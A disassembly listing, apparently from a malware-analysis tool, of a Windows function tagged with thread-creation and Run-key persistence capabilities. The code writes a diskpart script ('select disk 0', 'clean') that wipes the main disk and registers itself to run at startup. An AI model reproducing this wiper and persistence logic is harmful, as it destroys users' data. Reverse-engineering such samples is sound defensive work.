Function at 0x140002a70
Capabilities:
Create thread
Persist via run registry key
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x3a0]
sub rsp, 0x4a0
mov rax, qword [0x14000b040]
xor rax, rsp
mov qword [rbp + 0x390], rax
mov rbx, rcx
movups xmm0, xmmword [str.GDI_Example]
movups xmmword [rbp + 0x160], xmm0
movsd xmm0, qword [0x140007bb0]
movsd qword [rbp + 0x170], xmm0
xor edi, edi
mov qword [rsp + 0x70], rdi
mov qword [rbp - 0x80], rdi
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x60], xmm1
lea rax, [0x1400030d0]
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x78], rcx
lea rax, [rbp + 0x160]
mov qword [rbp - 0x50], rax
lea rcx, [rsp + 0x70]
call qword [sym.imp.USER32.dll_RegisterClassW]
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rdi
mov dword [rsp + 0x38], 0x80000000
mov dword [rsp + 0x30], 0x80000000
mov dword [rsp + 0x28], 0x80000000
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0xcf0000
lea r8, str.GDI_Example
lea rdx, [rbp + 0x160]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rbx, rax
test rax, rax
jne 0x140002b7b
xor eax, eax
mov rcx, qword [rbp + 0x390]
xor rcx, rsp
call fcn.140004ca0
lea r11, [rsp + 0x4a0]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x50]
call sub.VCRUNTIME140.dll_memset
mov r8d, 2
lea rdx, str.script.txt
lea rcx, [rbp + 0x50]
call fcn.140003af0
lea rdx, str.select_disk_0_n
lea rcx, [rbp + 0x50]
call fcn.1400040d0
mov rcx, rax
lea rdx, str.clean_n
call fcn.1400040d0
mov rcx, rax
lea rdx, str.exit_n
call fcn.1400040d0
lea rcx, [rbp + 0x58]
call fcn.140003f50
test rax, rax
jne 0x140002bfb
mov rax, qword [rbp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x50]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::setstate_int__bool____ptr64]
mov rax, qword [rbp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x50], rax
mov rax, qword [rbp + 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x4c], edx
lea rax, vtable.std::basic_filebuf_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + 0x58], rax
cmp qword [rbp + 0xd8], 0
je 0x140002c70
lea rcx, [rbp + 0xc8]
mov rax, qword [rbp + 0x70]
cmp qword [rax], rcx
jne 0x140002c70
mov rdx, qword [rbp + 0xe8]
mov rcx, qword [rbp + 0xe0]
mov qword [rax], rcx
mov rax, qword [rbp + 0x90]
mov qword [rax], rcx
sub rdx, rcx
sar rdx, 1
mov rax, qword [rbp + 0xa8]
mov dword [rax], edx
cmp byte [rbp + 0xd4], 0
je 0x140002c82
lea rcx, [rbp + 0x58]
call fcn.140003f50
lea rcx, [rbp + 0x58]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x60]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0xf8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
mov r8d, 0x104
lea rdx, [rbp + 0x180]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140002d23
lea rcx, [rbp + 0x180]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x180]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.MyStartupProgram
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.USER32.dll_ShowWindow]
mov ecx, 8
call fcn.140004cc0
lea rcx, [0x1400021f0]
mov qword [rax], rcx
lea rcx, [rbp + 0x18]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edi
mov r9, rax
lea r8, [0x140004c00]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x10], rax
test rax, rax
je 0x1400030b4
cmp dword [rbp + 0x18], 0
je 0x1400030a8
movaps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400030a8
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x10], xmm0
mov ecx, 8
call fcn.140004cc0
lea rcx, [0x140001f80]
mov qword [rax], rcx
lea rcx, [rbp + 8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edi
mov r9, rax
lea r8, [0x140004c00]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp], rax
test rax, rax
je 0x140003099
cmp dword [rbp + 8], 0
je 0x1400030a8
movaps xmm0, xmmword [rbp]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400030a8
xorps xmm0, xmm0
movdqa xmmword [rbp], xmm0
mov ecx, 8
call fcn.140004cc0
lea rcx, [0x140002680]
mov qword [rax], rcx
lea rcx, [rbp - 8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edi
mov r9, rax
lea r8, [0x140004c00]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x10], rax
test rax, rax
je 0x14000308a
cmp dword [rbp - 8], 0
je 0x1400030a8
movaps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400030a8
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x10], xmm0
mov ecx, 8
call fcn.140004cc0
lea rcx, [0x1400027c0]
mov qword [rax], rcx
lea rcx, [rbp - 0x18]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edi
mov r9, rax
lea r8, [0x140004c00]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x20], rax
test rax, rax
je 0x14000307b
cmp dword [rbp - 0x18], 0
je 0x1400030a8
movaps xmm0, xmmword [rbp - 0x20]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400030a8
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x20], xmm0
mov ecx, 8
call fcn.140004cc0
lea rcx, [0x140002920]
mov qword [rax], rcx
lea rcx, [rbp - 0x28]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edi
mov r9, rax
lea r8, [0x140004c00]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x30], rax
test rax, rax
je 0x14000306c
cmp dword [rbp - 0x28], 0
je 0x1400030a8
movaps xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400030a8
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x30], xmm0
mov ecx, 8
call fcn.140004cc0
lea rcx, [0x140001e80]
mov qword [rax], rcx
lea rcx, [rbp - 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edi
mov r9, rax
lea r8, [0x140004c00]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x40], rax
test rax, rax
je 0x14000305d
cmp dword [rbp - 0x38], 0
je 0x1400030a8
movaps xmm0, xmmword [rbp - 0x40]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400030a8
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x20], xmm1
movups xmmword [rbp + 0x30], xmm1
movups xmmword [rbp + 0x40], xmm1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x20]
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x14000302e
lea rcx, [rbp + 0x20]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x20]
call qword [sym.imp.USER32.dll_DispatchMessageW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x20]
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x140003004
cmp dword [rbp - 0x38], 0
jne 0x140003056
cmp dword [rbp - 0x28], 0
jne 0x140003056
cmp dword [rbp - 0x18], 0
jne 0x140003056
cmp dword [rbp - 8], 0
jne 0x140003056
cmp dword [rbp + 8], 0
jne 0x140003056
cmp dword [rbp + 0x18], 0
je 0x140002b55
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov dword [rbp - 0x38], edi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov dword [rbp - 0x28], edi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov dword [rbp - 0x18], edi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov dword [rbp - 8], edi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov dword [rbp + 8], edi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov dword [rbp + 0x18], edi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3